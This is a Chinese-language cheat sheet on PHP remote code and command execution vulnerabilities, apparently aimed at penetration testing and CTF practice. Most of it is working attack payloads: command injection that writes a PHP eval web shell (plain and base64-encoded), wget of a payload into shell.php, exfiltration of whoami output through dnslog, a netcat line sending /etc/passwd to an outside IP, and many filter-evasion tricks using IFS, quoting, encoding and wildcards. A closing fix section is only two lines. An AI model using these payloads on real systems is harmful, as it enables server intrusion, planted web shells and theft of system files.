漏洞原理
代码、命令执行漏洞又叫 RCE 漏洞,其是指攻击者可直接在服务器上执行代码或系统命令。
该漏洞的形式有很多,比如文件包含漏洞可导致远程代码执行,反序列化漏洞导致远程命令执行,这最终都可以算作 RCE 漏洞。
不过这里只单单讲一下,因为后端提供执行代码、命令的服务而导致的 RCE,其实就是后端使用了代码执行、命令执行的函数,函数参数用户可控且过滤的不严谨,导致可执行任意代码或命令。
漏洞分类
漏洞函数
命令执行
| 函数 |
描述 |
system(args) |
有回显,输出并返回最后一行shell结果 |
passthru(args) |
有回显,显示原始输出 |
exec(args) |
不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面 |
shell_exec(args) |
无回显-必须输出 |
popen(command,mode) |
无回显 |
代码执行
eval
assert
preg_replace
create_function
array_map
eval
漏洞利用
这两个漏洞的利用方式其实可以看做一种,因为代码执行也可以使用命令执行的函数来达到命令执行的效果。
区分其分类的只是操作漏洞的函数不同。
命令链接符
Linux
| 符号 |
|
作用 |
| 分号 |
; |
先执行前面的命令再执行后面的命令。 |
| 管道符 |
| |
显示后面的执行结果。 |
| 后台任务符号 |
& |
先执行前面的命令再执行后面的命令。 |
| 逻辑与 |
&& |
前面的命令执行成功后,它后面的命令才被执行。 |
| 逻辑或 |
|| |
只有 || 前面的命令执行失败后,它后面的命令才被执行。 |
| 反引号 |
` |
当一个命令被解析时,它首先会执行反引号之间的操作。` |
| $(command) |
$(command) |
这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。 |
windows
| 符号 |
|
作用 |
| 后台任务符号 |
& |
先执行前面的命令再执行后面的命令。 |
| 逻辑与 |
&& |
前面的命令执行成功后,它后面的命令才被执行。 |
| 管道符 |
| |
显示后面的执行结果。 |
| 逻辑或 |
|| |
只有 || 前面的命令执行失败后,它后面的命令才被执行。 |
无回显
检测
利用
反弹Shell
http://www.bu8ug.com/index.php/other/shell-base64/
文件写入
1 2 3 4
| 127.0.0.1 | echo '<?php @eval($_POST[cmd]);?>' >shell.php 127.0.0.1 | echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php 127.0.0.1 | net user > 1.txt 127.0.0.1 | ipconfig >> 1.txt
|
外部下载
1 2
| wget http://ip/ping.txt > shell.php wget http://ip/ping.txt -O shell.php
|
外带数据
1 2 3 4 5 6
| # dnslog 127.0.0.1 | curl `whoami`.3og80l.dnslog.cn 127.0.0.1 | ping `whoami`.3og80l.dnslog.cn # nc 外带 nc -lvp 8000 127.0.0.1 | nc 43.140.192.244 8000 < /etc/passwd
|
过滤绕过
过滤空格
1 2 3 4 5 6 7 8 9
| $IFS $IFS$1 ${IFS} $IFS$9 < 比如cat<a.tct:表示cat a.txt <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20 %09
|
黑名单
命令拼接
1 2 3 4 5 6
| a=who;b=ami;$a$b //命令拼接 //set命令(windows) set a=who set b=ami %a%%b% //正常执行whoami call %a%%b% //正常执行whoami
|
反斜线绕过
引号绕过
1 2 3
| who"a"mi whoa'm'i whoam``i
|
编码绕过
1 2 3 4
| echo d2hvYW1p|base64 -d|sh #base64绕过,其中d2hvYW1p是whoami的base64编码 echo d2hvYW1p|base64 -d|bash #base64绕过,其中d2hvYW1p是whoami的base64编码 `echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令 echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码
|
特殊字符绕过
1 2 3 4 5
| //$*和$@,$x(x 代表 1-9),${x}(x>=10) //比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下: wh$1oami who$@ami whoa$*mi
|
字符夹命令
1 2
| 666`whoami`666 //bash: 666root666: command not found 666`\whoami`666 //bash: 666root666: command not found
|
命令夹字符
1 2 3
| w`f1hgb`ho`f1hgb`am`f1hgb`i //反引号的作用是把括起来的字符当做命令执行 w`\f1hgb`ho`\f1hgb`am`\f1hgb`i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行 wh$(f1hgb)oa$(f1hgb)mi //和上面的差不多,都说执行和拼接8.同义函数
|
同义命令
1 2 3 4 5 6 7 8 9 10 11 12 13
| more:一页一页的显示档案内容 less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
|
通配符绕过
?代表一个字符 代表一串字符
1 2 3
| /???/?[a][t] ?''?''?''?'' /???/?at flag /???/?at ????
|
内敛执行绕过
1 2 3
| `命令`和$(命令)都是执行命令的方式 echo "xx`pwd`" echo "xx$(pwd)"
|
命令截断
1 2 3 4 5 6 7 8 9 10
| linux中:%0a 、%0d 、; 、& 、| 、&&、|| // %0a这些需要再get中写入,否则会被二次编码 windows中:%0a、&、|、%1a、%26 set a=whoami %a:~0% //取出所有字符,所以正常执行命令 %a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行 %a:~0,5% //切割后是whoam,不是系统命令,不能执行
set a=abc qwe //先自定义 wh^o^%a:~0,1%mi //然后截断整理后就变成了:wh^o^ami,所以命令执行成功
|
绕过文件名
1 2 3 4 5 6 7 8 9 10
| cat fl[abc]g.php //匹配[abc]中的任何一个 cat f[a-z]ag.txt //匹配a-z范围的任何字符 cat fla* //用*匹配任意 a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php //内联执行
//正则 利用正则:比如要读取etc/passwd cat /???/?????? cat /???/pass* cat /etc$u/passwd
|
漏洞修复
- 尽量不适应执行命令的函数,使用的话将参数写死
- 参数过滤,加转义符